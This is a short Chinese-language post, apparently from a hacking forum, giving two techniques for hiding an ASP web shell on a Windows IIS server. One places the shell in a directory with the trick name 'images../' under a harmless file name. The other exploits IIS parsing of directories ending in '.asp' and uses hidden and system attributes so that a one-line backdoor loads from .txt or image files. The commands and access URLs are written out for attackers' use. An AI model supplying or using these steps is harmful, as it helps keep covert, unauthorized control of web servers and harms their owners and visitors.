下面的兩種方法可以將你的asp木馬隱藏，大家可以測試下1、建立非標準目錄：mkdir images../
拷貝ASP木馬至目錄：copy c:/inetpub/wwwroot/dbm6.asp c:/inetpub/wwwroot/images../news.asp
透過web訪問ASP木馬：http://ip/images../news.asp?action=login
如何刪除非標準目錄：rmdir images../ /s
2、Windows中的IIS會對以.asp結尾的目錄中的檔案進行解析，以達到我們隱藏自己的網頁後門的目的:
mkdir programme.asp
新建1.txt檔案內容：
新建12.jpg檔案內容： 或使用GIF與ASP合併後的文件
attrib +H +S programme.asp
透過web存取ASP一句話木馬：http://ip/images/programme.asp/1.txt